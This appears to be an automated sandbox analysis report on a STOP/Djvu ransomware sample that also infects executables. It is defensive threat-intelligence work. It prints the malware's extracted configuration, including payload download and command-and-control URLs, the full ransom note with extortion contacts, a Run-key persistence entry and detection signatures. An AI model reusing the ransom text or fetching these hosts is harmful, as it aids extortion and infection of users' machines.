13.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
13.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.400000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
Click to see the 55 entries

Sigma Signatures

System Summary

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: "C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe" --AutoStart, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, ProcessId: 3492, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysHelper

Snort Signatures

⊘No Snort rule has matched

Suricata Signatures

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow - Source IP: 20.12.23.50 - Destination IP: 192.168.2.4

Timestamp:	2024-07-26T02:26:22.323846+0200
SID:	2022930
Source Port:	443
Destination Port:	49754
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow - Source IP: 20.12.23.50 - Destination IP: 192.168.2.4

Timestamp:	2024-07-26T02:25:44.784883+0200
SID:	2022930
Source Port:	443
Destination Port:	49745
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Common Downloader Header Pattern UH - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	2024-07-26T02:25:37.335386+0200
SID:	2803274
Source Port:	49737
Destination Port:	443
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ETPRO MALWARE Common Downloader Header Pattern UH - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	2024-07-26T02:25:31.671279+0200
SID:	2803274
Source Port:	49731
Destination Port:	443
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ETPRO MALWARE Backdoor.Win32/Bdaejec.A CnC Domain in DNS Lookup - Source IP: 192.168.2.4 - Destination IP: 1.1.1.1

Timestamp:	2024-07-26T02:25:27.824819+0200
SID:	2838522
Source Port:	58511
Destination Port:	53
Protocol:	UDP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE Common Downloader Header Pattern UH - Source IP: 192.168.2.4 - Destination IP: 92.246.89.93

Timestamp:	2024-07-26T02:26:51.777027+0200
SID:	2803274
Source Port:	49755
Destination Port:	80
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ET MALWARE Win32/Filecoder.STOP Variant Request for Public Key - Source IP: 192.168.2.4 - Destination IP: 92.246.89.93

Timestamp:	2024-07-26T02:26:25.320567+0200
SID:	2036334
Source Port:	49752
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/Filecoder.STOP Variant Request for Public Key - Source IP: 192.168.2.4 - Destination IP: 92.246.89.93

Timestamp:	2024-07-26T02:25:58.864819+0200
SID:	2036334
Source Port:	49739
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/Filecoder.STOP Variant Request for Public Key - Source IP: 192.168.2.4 - Destination IP: 92.246.89.93

Timestamp:	2024-07-26T02:27:18.274094+0200
SID:	2036334
Source Port:	49757
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Backdoor.Win32/Bdaejec.A Checkin - Source IP: 192.168.2.4 - Destination IP: 44.221.84.105

Timestamp:	2024-07-26T02:25:30.225875+0200
SID:	2807908
Source Port:	49730
Destination Port:	799
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE Win32/Vodkagats Loader Requesting Payload - Source IP: 192.168.2.4 - Destination IP: 92.246.89.93

Timestamp:	2024-07-26T02:26:20.670525+0200
SID:	2036333
Source Port:	49751
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Backdoor.Win32/Bdaejec.A CnC Domain in DNS Lookup - Source IP: 192.168.2.4 - Destination IP: 1.1.1.1

Timestamp:	2024-07-26T02:25:25.749385+0200
SID:	2838522
Source Port:	58511
Destination Port:	53
Protocol:	UDP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE Win32/Vodkagats Loader Requesting Payload - Source IP: 192.168.2.4 - Destination IP: 92.246.89.93

Timestamp:	2024-07-26T02:25:59.240064+0200
SID:	2036333
Source Port:	49740
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE STOP Ransomware CnC Activity - Source IP: 192.168.2.4 - Destination IP: 92.246.89.93

Timestamp:	2024-07-26T02:26:00.898471+0200
SID:	2833438
Source Port:	49743
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE STOP Ransomware CnC Activity - Source IP: 192.168.2.4 - Destination IP: 92.246.89.93

Timestamp:	2024-07-26T02:26:53.768977+0200
SID:	2833438
Source Port:	49756
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE Common Downloader Header Pattern UH - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	2024-07-26T02:25:45.813837+0200
SID:	2803274
Source Port:	49747
Destination Port:	443
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ETPRO MALWARE Common Downloader Header Pattern UH - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	2024-07-26T02:25:39.451477+0200
SID:	2803274
Source Port:	49741
Destination Port:	443
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ETPRO MALWARE Backdoor.Win32/Bdaejec.A CnC Domain in DNS Lookup - Source IP: 192.168.2.4 - Destination IP: 1.1.1.1

Timestamp:	2024-07-26T02:25:26.794766+0200
SID:	2838522
Source Port:	58511
Destination Port:	53
Protocol:	UDP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE STOP Ransomware CnC Activity - Source IP: 192.168.2.4 - Destination IP: 92.246.89.93

Timestamp:	2024-07-26T02:26:27.337163+0200
SID:	2833438
Source Port:	49753
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE STOP Ransomware CnC Activity - Source IP: 192.168.2.4 - Destination IP: 92.246.89.93

Timestamp:	2024-07-26T02:27:20.229285+0200
SID:	2833438
Source Port:	49758
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE Common Downloader Header Pattern UH - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	2024-07-26T02:25:53.501291+0200
SID:	2803274
Source Port:	49750
Destination Port:	443
Protocol:	TCP
Classtype:	Potentially Bad Traffic

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://zerit.top/dl/build2.exe	Avira URL Cloud: Label: phishing
Source: http://ddos.dnsnb8.net:799/cj//k1.rar	URL Reputation: Label: malware
Source: http://ddos.dnsnb8.net:799/cj//k1.raru	Avira URL Cloud: Label: malware
Source: http://ddos.dnsnb8.net/	URL Reputation: Label: malware
Source: http://fuyt.org/test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637	Avira URL Cloud: Label: malware
Source: http://fuyt.org/test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637&first=true	Avira URL Cloud: Label: malware
Source: http://fuyt.org/test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637(	Avira URL Cloud: Label: malware
Source: http://ddos.dnsnb8.net:799/cj//k1.rar(	Avira URL Cloud: Label: malware
Source: http://ddos.dnsnb8.net:799/cj//k1.rar%	Avira URL Cloud: Label: phishing
Source: http://ddos.dnsnb8.net:799/cj//k1.rar$	Avira URL Cloud: Label: phishing
Source: http://ddos.dnsnb8.net:7	Avira URL Cloud: Label: malware
Source: http://fuyt.org/test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637p	Avira URL Cloud: Label: malware
Source: http://ddos.dnsnb8.net:799/cj//k1.raroC:	Avira URL Cloud: Label: phishing
Source: http://fuyt.org/test1/get.php	Avira URL Cloud: Label: malware
Source: http://ddos.dnsnb8.net:799/cj//k1.rarc	Avira URL Cloud: Label: phishing

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Avira: detection malicious, Label: W32/Jadtre.B
Source: C:\Users\user\AppData\Local\Temp\tmp431A.tmp	Avira: detection malicious, Label: W32/Jadtre.D
Source: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	Avira: detection malicious, Label: W32/Jadtre.B
Source: C:\Program Files\7-Zip\Uninstall.exe	Avira: detection malicious, Label: W32/Jadtre.B
Source: C:\Program Files (x86)\AutoIt3\Examples\Helpfile\Extras\MyProg.exe	Avira: detection malicious, Label: W32/Jadtre.B

Found malware configuration

Source: 00000007.00000002.1778445839.0000000002240000.00000040.00001000.00020000.00000000.sdmp

Malware Configuration Extractor: Djvu {"Download URLs": ["http://zerit.top/dl/build2.exe", "http://fuyt.org/files/1/build3.exe"], "C2 url": "http://fuyt.org/test1/get.php", "Ransom note file": "_readme.txt", "Ransom note": "ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-0S984cQ4B3\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nsupport@sysmail.ch\r\n\r\nReserve e-mail address to contact us:\r\nsupportsys@airmail.cc\r\n\r\nYour personal ID:\r\n0430JIjdm", "Ignore Files": ["ntuser.dat", "ntuser.dat.LOG1", "ntuser.dat.LOG2", "ntuser.pol", ".sys", ".ini", ".DLL", ".dll", ".blf", ".bat", ".lnk", ".regtrans-ms", "C:\\SystemID\\", "C:\\Users\\Default User\\", "C:\\Users\\Public\\", "C:\\Users\\All Users\\", "C:\\Users\\Default\\", "C:\\Documents and Settings\\", "C:\\ProgramData\\", "C:\\Recovery\\", "C:\\System Volume Information\\", "C:\\Users\\%username%\\AppData\\Roaming\\", "C:\\Users\\%username%\\AppData\\Local\\", "C:\\Windows\\", "C:\\PerfLogs\\", "C:\\ProgramData\\Microsoft\\", "C:\\ProgramData\\Package Cache\\", "C:\\Users\\Public\\", "C:\\$Recycle.Bin\\", "C:\\$WINDOWS.~BT\\", "C:\\dell\\", "C:\\Intel\\", "C:\\MSOCache\\", "C:\\Program Files\\", "C:\\Program Files (x86)\\", "C:\\Games\\", "C:\\Windows.old\\", "D:\\Users\\%username%\\AppData\\Roaming\\", "D:\\Users\\%username%\\AppData\\Local\\", "D:\\Windows\\", "D:\\PerfLogs\\", "D:\\ProgramData\\Desktop\\", "D:\\ProgramData\\Microsoft\\", "D:\\ProgramData\\Package Cache\\", "D:\\Users\\Public\\", "D:\\$Recycle.Bin\\", "D:\\$WINDOWS.~BT\\", "D:\\dell\\", "D:\\Intel\\", "D:\\MSOCache\\", "D:\\Program Files\\", "D:\\Program Files (x86)\\", "D:\\Games\\", "E:\\Users\\%username%\\AppData\\Roaming\\", "E:\\Users\\%username%\\AppData\\Local\\", "E:\\Windows\\", "E:\\PerfLogs\\", "E:\\ProgramData\\Desktop\\", "E:\\ProgramData\\Microsoft\\", "E:\\ProgramData\\Package Cache\\", "E:\\Users\\Public\\", "E:\\$Recycle.Bin\\", "E:\\$WINDOWS.~BT\\", "E:\\dell\\", "E:\\Intel\\", "E:\\MSOCache\\", "E:\\Program Files\\", "E:\\Program Files (x86)\\", "E:\\Games\\", "F:\\Users\\%username%\\AppData\\Roaming\\", "F:\\Users\\%username%\\AppData\\Local\\", "F:\\Windows\\", "F:\\

Multi AV Scanner detection for domain / URL

Source: ddos.dnsnb8.net	Virustotal: Detection: 12%	Perma Link
Source: fuyt.org	Virustotal: Detection: 14%	Perma Link
Source: api.2ip.ua	Virustotal: Detection: 6%	Perma Link
Source: zerit.top	Virustotal: Detection: 12%	Perma Link
Source: http://ddos.dnsnb8.net:799/cj//k1.raru	Virustotal: Detection: 10%	Perma Link
Source: http://zerit.top/dl/build2.exe	Virustotal: Detection: 13%	Perma Link
Source: http://ddos.dnsnb8.net:799/cj//k1.rar%	Virustotal: Detection: 12%	Perma Link
Source: http://ddos.dnsnb8.net:799/cj//k1.rar(	Virustotal: Detection: 9%	Perma Link
Source: http://ddos.dnsnb8.net:799/cj//k1.rar$	Virustotal: Detection: 15%	Perma Link
Source: http://fuyt.org/files/1/build3.exe$run	Virustotal: Detection: 15%	Perma Link
Source: https://api.2ip.ua/	Virustotal: Detection: 5%	Perma Link
Source: http://ddos.dnsnb8.net:7	Virustotal: Detection: 15%	Perma Link
Source: https://api.2ip.ua/geo.jsonsP	Virustotal: Detection: 6%	Perma Link
Source: http://fuyt.org/files/1/build3.exe	Virustotal: Detection: 11%	Perma Link
Source: https://api.2ip.ua/geo.json	Virustotal: Detection: 6%	Perma Link

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe

ReversingLabs: Detection: 95%

Multi AV Scanner detection for submitted file

Source: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	ReversingLabs: Detection: 95%
Source: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Virustotal: Detection: 86%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	Joe Sandbox ML: detected
Source: C:\Program Files\7-Zip\Uninstall.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\AutoIt3\Examples\Helpfile\Extras\MyProg.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 2_2_00411178 CryptDestroyHash,CryptReleaseContext,	2_2_00411178
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 2_2_0040E870 CryptAcquireContextW,__CxxThrowException@8,CryptCreateHash,__CxxThrowException@8,CryptHashData,__CxxThrowException@8,CryptGetHashParam,CryptGetHashParam,__CxxThrowException@8,_memset,CryptGetHashParam,__CxxThrowException@8,_sprintf,CryptDestroyHash,CryptReleaseContext,	2_2_0040E870
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 2_2_0040EA51 CryptDestroyHash,CryptReleaseContext,	2_2_0040EA51
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 2_2_0040EAA0 CryptAcquireContextW,__CxxThrowException@8,CryptCreateHash,__CxxThrowException@8,CryptHashData,__CxxThrowException@8,CryptGetHashParam,CryptGetHashParam,__CxxThrowException@8,_memset,CryptGetHashParam,__CxxThrowException@8,_sprintf,CryptDestroyHash,CryptReleaseContext,	2_2_0040EAA0
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 2_2_0040EC68 CryptDestroyHash,CryptReleaseContext,	2_2_0040EC68
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 2_2_00410FC0 CryptAcquireContextW,__CxxThrowException@8,CryptCreateHash,__CxxThrowException@8,lstrlenA,CryptHashData,__CxxThrowException@8,CryptGetHashParam,CryptGetHashParam,__CxxThrowException@8,_memset,CryptGetHashParam,__CxxThrowException@8,CryptGetHashParam,_malloc,CryptGetHashParam,_memset,_sprintf,lstrcatA,CryptDestroyHash,CryptReleaseContext,	2_2_00410FC0

Source: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000009.00000002.2923670108.000000000077C000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: -----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAup7xLNZcQ4MZOSDTvBj6\\n7Shvgof4dZwAEFfM4Qn6EvfybMldng8cq4I8XKCGgbb4qleJAF7W2dmJHdLsc5du\\nn8FhrNPyozIM2b3b+aIVTP\/lJE4DFAuzoGoNy\/r7ZMMCouk+kV+0YBL\/H9AD2HSx\\ntpYMoPkxkjt02aJScPkgYcIZKsj8LUimPmEy34gW\/wIkqvbMYKXtNnao\/qED9CFR\\n6UBM46bPFhHq3QpKPr6sdTg4kaQi\/ZLueJvFVZ2raXOcEA1TunnUmTVfBP6Uboip\\nfrCky0fkvCyEHfX6+Sizo50\/glCm7dKNyNlXe3DaKCDvma36A+5uUwe+8X2hPKdj\\nJQIDAQAB\\n-----END PUBLIC KEY-----

memstr_180bd548-c

Compliance

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Unpacked PE file: 2.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.400000.0.unpack
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Unpacked PE file: 9.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Unpacked PE file: 10.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Unpacked PE file: 13.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Unpacked PE file: 17.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.400000.0.unpack

Source: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	File created: C:\_readme.txt	Jump to behavior
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	File created: C:\$WinREAgent\_readme.txt	Jump to behavior
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	File created: C:\$WinREAgent\Scratch\_readme.txt	Jump to behavior
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	File created: C:\Users\user\_readme.txt	Jump to behavior

Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49750 version: TLS 1.2

Source:	Binary string: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb source: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000008.00000002.1800593794.0000000002280000.00000040.00001000.00020000.00000000.sdmp, A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000009.00000002.2923188617.0000000000400000.00000040.00000400.00020000.00000000.sdmp, A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 0000000A.00000002.2923193912.0000000000400000.00000040.00000400.00020000.00000000.sdmp, A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 0000000B.00000002.1863808693.00000000022A0000.00000040.00001000.00020000.00000000.sdmp, A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 0000000D.00000002.1874166831.0000000000400000.00000040.00000400.00020000.00000000.sdmp, A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000010.00000002.1940971329.0000000002250000.00000040.00001000.00020000.00000000.sdmp, A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000011.00000002.1951353036.0000000000400000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: C:\nacu.pdb source: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.2.dr
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\ntkrnlmp.pdb\~C source: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000009.00000002.2925642904.0000000003490000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: WINLOA~1.PDBwinload_prod.pdb source: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000009.00000002.2924949779.000000000301C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\ntkrnlmp.pdb\20\ source: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000009.00000002.2924949779.0000000002FAF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000009.00000003.2876107068.0000000003460000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: DISCOV~1.WDLen-CHlmp.pdb source: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000009.00000002.2924949779.000000000301C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\\e source: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000009.00000003.2917165731.0000000002FBC000.00000004.00000020.00020000.00000000.sdmp, A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000009.00000002.2924949779.0000000002FAF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Data\svn\autoit\branch_3.3.16\bin\SciTE\SciTE.pdb source: SciTE.exe.1.dr
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\ta\\ source: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000009.00000003.2917165731.0000000002FBC000.00000004.00000020.00020000.00000000.sdmp, A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000009.00000002.2924949779.0000000002FAF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdbI source: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000000.00000002.1722296268.0000000002230000.00000040.00001000.00020000.00000000.sdmp, A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000002.00000002.1742399801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000007.00000002.1778445839.0000000002240000.00000040.00001000.00020000.00000000.sdmp, A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000008.00000002.1800593794.0000000002280000.00000040.00001000.00020000.00000000.sdmp, A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000009.00000002.2923188617.0000000000400000.00000040.00000400.00020000.00000000.sdmp, A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 0000000A.00000002.2923193912.0000000000400000.00000040.00000400.00020000.00000000.sdmp, A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 0000000B.00000002.1863808693.00000000022A0000.00000040.00001000.00020000.00000000.sdmp, A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 0000000D.00000002.1874166831.0000000000400000.00000040.00000400.00020000.00000000.sdmp, A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000010.00000002.1940971329.0000000002250000.00000040.00001000.00020000.00000000.sdmp, A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000011.00000002.1951353036.0000000000400000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: d:\dbs\sh\odct\1105_210049_0\client\onedrive\Setup\Standalone\exe\obj\i386\OneDriveSetup.pdb source: wctF86A.tmp.9.dr
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\winload_prod.pdb\ source: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000009.00000002.2925642904.0000000003490000.00000004.00000020.00020000.00000000.sdmp, A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000009.00000002.2924949779.0000000002FAF000.00000004.00000020.00020000.00000000.sdmp

Spreading

Infects executable files (exe, dll, sys, html)

Source: C:\Users\user\AppData\Local\Temp\RranN.exe	System file written: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RranN.exe	System file written: C:\Program Files\7-Zip\Uninstall.exe	Jump to behavior
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	System file written: C:\Users\user\AppData\Local\Temp\chrome.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RranN.exe	System file written: C:\Program Files (x86)\AutoIt3\Examples\Helpfile\Extras\MyProg.exe	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\RranN.exe	Code function: 1_2_00B429E2 memset,wsprintfA,memset,lstrlen,lstrcpyn,strrchr,lstrcmpiA,lstrlen,memset,memset,FindFirstFileA,memset,FindNextFileA,lstrcmpiA,FindNextFileA,FindClose,	1_2_00B429E2
